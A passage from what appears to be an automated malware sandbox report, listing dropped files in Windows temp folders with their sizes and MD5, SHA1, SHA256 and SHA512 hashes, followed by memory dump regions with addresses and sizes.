                b7d88128e2c9aedbdcabcb492a5a55ecda4b16b7db0f57ea7a125eaec6dbbbdf9d963a1157d490975a18a4363f2501a365f84a4e6862969651df1316b4feff17

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10429610101\9sWdA2p.exe
                Filesize

                1.1MB

                MD5

                5adca22ead4505f76b50a154b584df03

                SHA1

                8c7325df64b83926d145f3d36900b415b8c0fa65

                SHA256

                aa7105a237dc64c8eb179f18d54641e5d7b9ab7da7bf71709a0d773f20154778

                SHA512

                6192d61e777c59aa80c236b2f3e961795b7ff9971327c4e3270803d356ecf38949811df680a372259a9638ccdb90fc1271fb844f1f35656d5b317c96081f396e

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe
                Filesize

                3.1MB

                MD5

                31b30e8113ecec15e943dda8ef88781a

                SHA1

                a4a126fabb8846c031b3531411635f62f6e6abd7

                SHA256

                2f0ffc24180fa3b0b0489863860bff2afd3b87604aff55088d529a253fd73ef2

                SHA512

                55bb425bf612cd7750f85f78cacea7095109a561ddfa86c1ae88339a9deb7e6e930d5bee4dcaf7a206ae7d5b4144338c53be5c3fda94ecf1fbb3ce1a20329140

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10434400101\larBxd7.exe
                Filesize

                1.2MB

                MD5

                4641a0bec2101c82f575862f97be861c

                SHA1

                0dd1ee06cdb7ba9ef2aa1dc44c80f1bc2586d33b

                SHA256

                fc2ac17498bd7846607110e66426bdad0ab5302f5c7978dd72c20d99166292e1

                SHA512

                da87190b368b99feafdb6cfb2fe236c94741573f494ca1cc9127f3a34e9112e1c8d4bf794841b4f00d3f083bc8239226d7d6ffecb45eb02299ff4e03e6e3749a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\Cattle.psd.bat
                Filesize

                11KB

                MD5

                ec90ed340e87d540b3b2bfd46026424c

                SHA1

                94d88488e005158000815c918c59e868f221a1c6

                SHA256

                80f117d62a42a9c74efb37e180cc85796f56e3eedc76c5b8962837fb964f32e0

                SHA512

                57d231bae221e173fb8707638292ab69fd222760c4da4404dea0c392e442d53f92381ef23608c4e4caa1c779b987e20b98a50d2c2b96c0354fda2700ad6388d6

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvb5h0cv.sks.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\s1w780Akm.hta
                Filesize

                717B

                MD5

                389257eaf13ab692591d2f82deda6d77

                SHA1

                dbe76210b2794506112b0750b1f1c23d1ffc3ec1

                SHA256

                b22981075e720586f366c2b17abc3662b7a4c7551eff71df2c6da32e5a26b1bf

                SHA512

                c7e8729e09c9fed0737a7cca631aa8ed6ae61bd3f10f05399ec4937b519aff8654d70c9fab7cdc88cebfb6c7f37a94ecefd716d519189297b4d0f042787f89c7

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                Filesize

                1.3MB

                MD5

                15bdc4bd67925ef33b926843b3b8154b

                SHA1

                646af399ef06ac70e6bd43afe0f978f0f51a75fd

                SHA256

                4f0b2c61bccfd9aa3db301ee4e15607df41ded533757de34c986a0ff25b6246d

                SHA512

                eac0736a06d0835758318d594d3560ee6be82889020a173463943956dd400d08cf1174a4c722dc45a3f3c034131982f4b19ff27db1163838afbfac37f397eaf8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\Bases\arkmon64.drv
                Filesize

                390KB

                MD5

                7c924dd4d20055c80007791130e2d03f

                SHA1

                072f004ddcc8ddf12aba64e09d7ee0ce3030973e

                SHA256

                406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6

                SHA512

                ab26005da50cbf1f45129834cb661b5b97aed5637d4ebc9821c8b744ff61c3f108f423ae5628602d99b3d859e184bfb23900797538dca2891186321d832ea806

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\KVRT.exe
                Filesize

                2.6MB

                MD5

                3fb0ad61548021bea60cdb1e1145ed2c

                SHA1

                c9b1b765249bfd76573546e92287245127a06e47

                SHA256

                5d1a788260891c317f9d05b3387e732af908959c5ad4f5a84e7984bee71084f1

                SHA512

                38269c22fda1fdee5906c2bfdfc19b77b5f6d8da2be939c6d8259b536912f8bc6f261f5c508f47ade8ab591a54aafbfbcc302219820bad19feb78fcc3586d331

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\MSVCP140.dll
                Filesize

                439KB

                MD5

                5ff1fca37c466d6723ec67be93b51442

                SHA1

                34cc4e158092083b13d67d6d2bc9e57b798a303b

                SHA256

                5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062

                SHA512

                4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\app_core.dll
                Filesize

                1.3MB

                MD5

                fe0964663cf9c5e4ff493198e035cc1f

                SHA1

                ab9b19bd0e4efa36f78d2059b4ca556521eb35cb

                SHA256

                ddd70011d86b8ec909295ef45f94b48b0252229b6182af9ef8a6029c30daaf39

                SHA512

                923cfd9143d3850357bda901f66b5292f36ff025f05b2156667873861a02d9f498a03cdb73d2c477c0055d46600628f936b70dec46d7687fe0a97cbb1c8cf0ea

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\app_core_meta.dll
                Filesize

                619KB

                MD5

                81172e3cf5fc6df072b45c4f1fb6eb34

                SHA1

                5eb293f0fe6c55e075c5ebef4d21991546f7e504

                SHA256

                2a272a1990a3dfa35693adf0689512b068a831283a852f8f805cb28153115f57

                SHA512

                8dc4b0d5593cf2c2262b2802b60672c392dfe0e1cd757a3410e5376bbe6bf6c473428a7ca0fc1c7f0d2de5f59017d8464e7789c76999b5d7b5379209b34c1813

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\config.esm
                Filesize

                51KB

                MD5

                184a351c4d532405206e309c10af1d15

                SHA1

                3cf49f2275f3f9bd8e385eddcdd04e3fc2a17352

                SHA256

                ef0b7e22d8f7bd06964969a7f2979a475ba1c9c34efccb0c3b9e03ae950c63f6

                SHA512

                9a1a3cb0e3713ba41f36f4f01f2151b0c04454a05c986215ed2cc42180994f90d10e031d77452a2d0ad5a78f15d8d31c327d0d1ee676789780e6483dbe5e0341

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\crypto_components_meta.dll
                Filesize

                61KB

                MD5

                3d9d1753ed0f659e4db02e776a121862

                SHA1

                031fb78fe7dc211fe9e0dc8ba0027c14e84cd07f

                SHA256

                b6163ec9d4825102e3d423e02fb026259a6a17e7d7696ae060ec2b0ba97f54f2

                SHA512

                e1f50513db117c32505944bfb19fd3185b3231b6bd9f0495942bd9e80dd0f54ab575f1a2fca5e542174d3abe4106a9b5448d924c690e8548cd43aa77f6497c92

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\dbghelp.dll
                Filesize

                1.2MB

                MD5

                4003e34416ebd25e4c115d49dc15e1a7

                SHA1

                faf95ec65cde5bd833ce610bb8523363310ec4ad

                SHA256

                c06430b8cb025be506be50a756488e1bcc3827c4f45158d93e4e3eeb98ce1e4f

                SHA512

                88f5d417377cd62bde417640a79b6ac493e80f0c8b1f63a99378a2a67695ef8e4a541cedb91acfa296ed608e821fee466983806f0d082ed2e74b0cd93eb4fb84

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\dblite.dll
                Filesize

                703KB

                MD5

                98b1a553c8c5944923814041e9a73b73

                SHA1

                3e6169af53125b6da0e69890d51785a206c89975

                SHA256

                6fc0104817caa1337531c9d8b284d80052770051efb76e5829895a3854ebaec8

                SHA512

                8ee4467bce6495f492895a9dfaedaf85b76d6d1f67d9ff5c8c27888191c322863bc29c14ae3f505336a5317af66c31354afaeb63127e7e781f5b249f1c967363

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\dumpwriter.dll
                Filesize

                409KB

                MD5

                f56387639f201429fb31796b03251a92

                SHA1

                23df943598a5e92615c42fc82e66387a73b960ff

                SHA256

                e7eefcf569d98a5fb14a459d949756dc00faf32ed6bda1233d9d2c79ca11531c

                SHA512

                7bfce579b601408262c0edd342cb2cb1ef1353b6b73dce5aad540eb77f56d1184f71c56ea859bc4373aac4875b8861e2cc5d9c49518e6c40d0b2350a7ab26c0e

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\instrumental_services.dll
                Filesize

                3.4MB

                MD5

                c6acd1d9a80740f8a416b0a78e3fa546

                SHA1

                7ea7b707d58bde0d5a14d8a7723f05e04189bce7

                SHA256

                db8acd14ace6d4c8d4d61016debe3c0d72677416661caf0d36e7306ed020920f

                SHA512

                46c889f4d84e2f8dc8bfd5bdc34a346aa393fc49adcbe95bc601e6d970599f579e5cb057196061c280cbfa976989c960ac2f1830fd61c0a9166f09a6c088c20d

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\key_value_storage.dll
                Filesize

                158KB

                MD5

                9bf7f895cff1f0b9ddf5fc077bac314c

                SHA1

                7e9c0ce6569c6f12c57f34597b213cd4d8f55e68

                SHA256

                d03e0af01fbcd9ce714caf3db5ca2ab3ca4a717d5fda5c99b77e09b5672498a4

                SHA512

                d416cfa9446e6c92f0805278c744cf9f8ac6a2bfb96a6e0b2d65e701472ea6feaf5742ed6cef833555188a95c613499e7e14cfe5788427ec2616cfd723021a67

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\klmd.sys
                Filesize

                368KB

                MD5

                990442d764ff1262c0b7be1e3088b6d3

                SHA1

                0b161374074ef2acc101ed23204da00a0acaa86e

                SHA256

                6c7ccd465090354438b39da8430a5c47e7f24768a5b12ee02fecf8763e77c9e4

                SHA512

                af3c6dfe32266a9d546f13559dcba7c075d074bdfdaf0e6bf2a8cae787008afa579f0d5f90e0c657dd614bb244a6d95ff8366c14b388e1f4a3ab76cccb23add4

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\klsl.sys
                Filesize

                87KB

                MD5

                a69adedb0d47cfb23f23a9562a4405bc

                SHA1

                9e70576571a15aaf71106ea0cd55e0973ef2dd15

                SHA256

                31eaa7f1f9872c63091f4b3ec5310686b1dd1e2123af17991a6b4679eda3f62d

                SHA512

                77abb4435d8d445f7a29cdb8a318486a96122b5cc535da7a63da0fa920980e6ad73e78b72552f6949e66b349bbdc9aa9ea202481046e478c2829c155a1045820

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\ksn_meta.dll
                Filesize

                333KB

                MD5

                ed5f35496139e9238e9ff33ca7f173b9

                SHA1

                ed230628b75ccf944ea2ed87317ece7ee8c377c7

                SHA256

                93c5feb98eb0b3a1cfe1640f6c0025c913bf79c416bebbe5ed28e1ed19341069

                SHA512

                eb2d3a8e246b961d31ede5a6a29a268a9b81fb8abbfa83eb8e0c12a992e36404e5829a530a7fbd4ba91ba3e0c0c6c19243e4d4740fa9bdf97a25fd629bc05aca

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\settings.kvdb
                Filesize

                11KB

                MD5

                173eee6007354de8cd873f59ffca955f

                SHA1

                395c5a7cb10d62cc4c63d2d65f849163e61cba5a

                SHA256

                17dfcf78dca415e3e7afac7519db911c0a93f36388c948aba40bcaa3176589a1

                SHA512

                465394c349dc74fd8a5c5ce5a89d65f0b0e09432d54517ea12de2bc8ccb329629dde03b0939800d30d008bedf0dca948fd84593bab7b7c8994ba041a7af1af2a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\storage.dll
                Filesize

                301KB

                MD5

                d470615822aa5c5f7078b743a676f152

                SHA1

                f069bfff46cf0e08b2d615d5a9a289b7c9a6b85c

                SHA256

                f77657ee84fd1790d0a765ed45a1c832fbeb340cce8ce9011544295c70c1b1dc

                SHA512

                8826f0924d4444cbe60ec5b24d89f36f6619308b4058e4790e0228614226516eb312dcceb1a3ffe8c0bee8f545efbcffe1188cbf17b9f1c7fb58dad6090be1f9

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\storage.kvdb
                Filesize

                6KB

                MD5

                1a3330c4f388360e4c2b0d94fb48a788

                SHA1

                127ad9be38c4aa491bd1bce6458f99a27c6d465b

                SHA256

                01b8d0d8c7114b59f159021384c8a59535f87018a6a136a276b5a297f54d776d

                SHA512

                1fcd1e99e35dc4ec972ab63299637322a27b471d02175d56409a3a114db6259f9cd767ac054c7a2bba075f36ab62f19c8118c3dda93e37b7deda05aa2b260553

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\vcruntime140.dll
                Filesize

                78KB

                MD5

                a37ee36b536409056a86f50e67777dd7

                SHA1

                1cafa159292aa736fc595fc04e16325b27cd6750

                SHA256

                8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825

                SHA512

                3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

                Download Submit

              • memory/948-65-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/948-64-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/948-4876-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/948-47-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/1580-4294-0x00000000008C0000-0x0000000000FCE000-memory.dmp

                Filesize

                7.1MB

                Download

              • memory/1580-4285-0x00000000008C0000-0x0000000000FCE000-memory.dmp

                Filesize

                7.1MB

                Download

              • memory/2064-102-0x000001956FFF0000-0x0000019570012000-memory.dmp

                Filesize

                136KB

                Download

              • memory/2128-63-0x0000000000400000-0x0000000000466000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2128-62-0x0000000000400000-0x0000000000466000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2380-46-0x00000000006A0000-0x0000000000B5F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/2380-30-0x00000000006A0000-0x0000000000B5F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/3604-83-0x0000000000400000-0x0000000000681000-memory.dmp

                Filesize

                2.5MB

                Download

              • memory/3716-4163-0x0000000000CF0000-0x0000000001195000-memory.dmp

                Filesize

                4.6MB

                Download

              • memory/3716-123-0x0000000000CF0000-0x0000000001195000-memory.dmp

                Filesize

                4.6MB

                Download

              • memory/3944-19-0x00000000064B0000-0x00000000064CA000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3944-16-0x0000000005F70000-0x0000000005F8E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3944-21-0x0000000007430000-0x00000000074C6000-memory.dmp

                Filesize

                600KB

                Download

              • memory/3944-2-0x0000000002A90000-0x0000000002AC6000-memory.dmp

                Filesize

                216KB

                Download

              • memory/3944-17-0x0000000005F90000-0x0000000005FDC000-memory.dmp

                Filesize

                304KB

                Download

              • memory/3944-3-0x0000000005220000-0x000000000584A000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/3944-22-0x00000000073E0000-0x0000000007402000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3944-18-0x00000000078C0000-0x0000000007F3A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/3944-23-0x00000000084F0000-0x0000000008A96000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/3944-15-0x0000000005AA0000-0x0000000005DF7000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/3944-6-0x0000000005A30000-0x0000000005A96000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3944-5-0x00000000058C0000-0x0000000005926000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3944-4-0x00000000050C0000-0x00000000050E2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/5696-4215-0x0000000000400000-0x00000000008A3000-memory.dmp

                Filesize

                4.6MB

                Download

              • memory/5696-4237-0x0000000000400000-0x00000000008A3000-memory.dmp

                Filesize

                4.6MB

                Download

              • memory/5696-4874-0x0000000000400000-0x00000000008A3000-memory.dmp

                Filesize

                4.6MB

                Download

              • memory/6072-87-0x000001D919F40000-0x000001D919FB1000-memory.dmp

                Filesize

                452KB

                Download

              • memory/6072-95-0x000001D919F40000-0x000001D919FB1000-memory.dmp

                Filesize

                452KB

                Download

              • memory/6072-86-0x0000000000D30000-0x0000000000D32000-memory.dmp

                Filesize

                8KB

                Download

              • memory/6072-94-0x000001D919F40000-0x000001D919FB1000-memory.dmp

                Filesize

                452KB

                Download

              • memory/6072-96-0x000001D919F40000-0x000001D919FB1000-memory.dmp

                Filesize

                452KB

                Download

              • memory/6136-136-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-134-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-141-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-143-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-140-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-137-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-138-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-139-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6136-132-0x0000000140000000-0x000000014043E000-memory.dmp

                Filesize

                4.2MB

                Download

              • memory/6136-135-0x00000000008F0000-0x0000000000A78000-memory.dmp

                Filesize

                1.5MB

                Download

              • memory/6944-4207-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/6944-4217-0x0000000000CE0000-0x000000000119F000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/7264-4236-0x0000000000760000-0x0000000000C1B000-memory.dmp

                Filesize

                4.7MB

                Download

              • memory/7264-4234-0x0000000000760000-0x0000000000C1B000-memory.dmp

                Filesize

                4.7MB

                Download